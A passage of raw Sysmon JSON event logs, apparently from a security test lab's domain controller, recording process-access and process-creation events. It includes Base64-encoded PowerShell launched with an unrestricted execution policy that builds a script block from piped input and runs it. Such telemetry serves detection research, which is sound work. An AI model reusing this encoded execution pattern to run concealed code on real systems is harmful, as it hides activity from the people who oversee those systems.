C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:29.962","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-416D-5F2D-0000-001026040800}","TargetProcessId":"4732","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":5176,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:30.026\r\nProcessGuid: {90617006-416E-5F2D-0000-001012100800}\r\nProcessId: 4452\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nFileVersion: 10.0.14393.206 (rs1_release.160915-0644)\r\nDescription: Windows PowerShell\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: PowerShell.EXE\r\nCommandLine: \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==\r\nCurrentDirectory: C:\\Users\\Administrator\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-416D-5F2D-0000-00205A000800}\r\nLogonId: 0x8005A\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453\r\nParentProcessGuid: {90617006-416D-5F2D-0000-001026040800}\r\nParentProcessId: 4732\r\nParentImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nParentCommandLine: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:30.026","ProcessGuid":"{90617006-416E-5F2D-0000-001012100800}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","FileVersion":"10.0.14393.206 (rs1_release.160915-0644)","Description":"Windows PowerShell","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"PowerShell.EXE","CommandLine":"\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==","CurrentDirectory":"C:\\Users\\Administrator\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-416D-5F2D-0000-00205A000800}","LogonId":"0x8005a","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453","ParentProcessGuid":"{90617006-416D-5F2D-0000-001026040800}","ParentProcessId":"4732","ParentImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","ParentCommandLine":"PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5177,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:30.025\r\nSourceProcessGUID: {90617006-416D-5F2D-0000-001026040800}\r\nSourceProcessId: 4732\r\nSourceThreadId: 872\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-416E-5F2D-0000-001012100800}\r\nTargetProcessId: 4452\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3332f6|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b5560|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b4f07|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3ccc2f1d(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c163ff7(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c163cc8(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3cc150dd(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c12485e(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c182d2d(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c166392(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c166392(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c166223(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c1581a8(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c1646db(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c1642ce(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c163ff7(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c163cc8(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3cc150dd(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c14ab29(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c14a0f9(wow64)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:30.025","SourceProcessGUID":"{90617006-416D-5F2D-0000-001026040800}","SourceProcessId":"4732","SourceThreadId":"872","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-416E-5F2D-0000-001012100800}","TargetProcessId":"4452","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3332f6|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b5560|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b4f07|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3ccc2f1d(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c163ff7(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c163cc8(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3cc150dd(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c12485e(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c182d2d(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c166392(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c166392(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c166223(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c1581a8(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c1646db(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c1642ce(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c163ff7(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c163cc8(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3cc150dd(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c14ab29(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c14a0f9(wow64)","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5178,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT 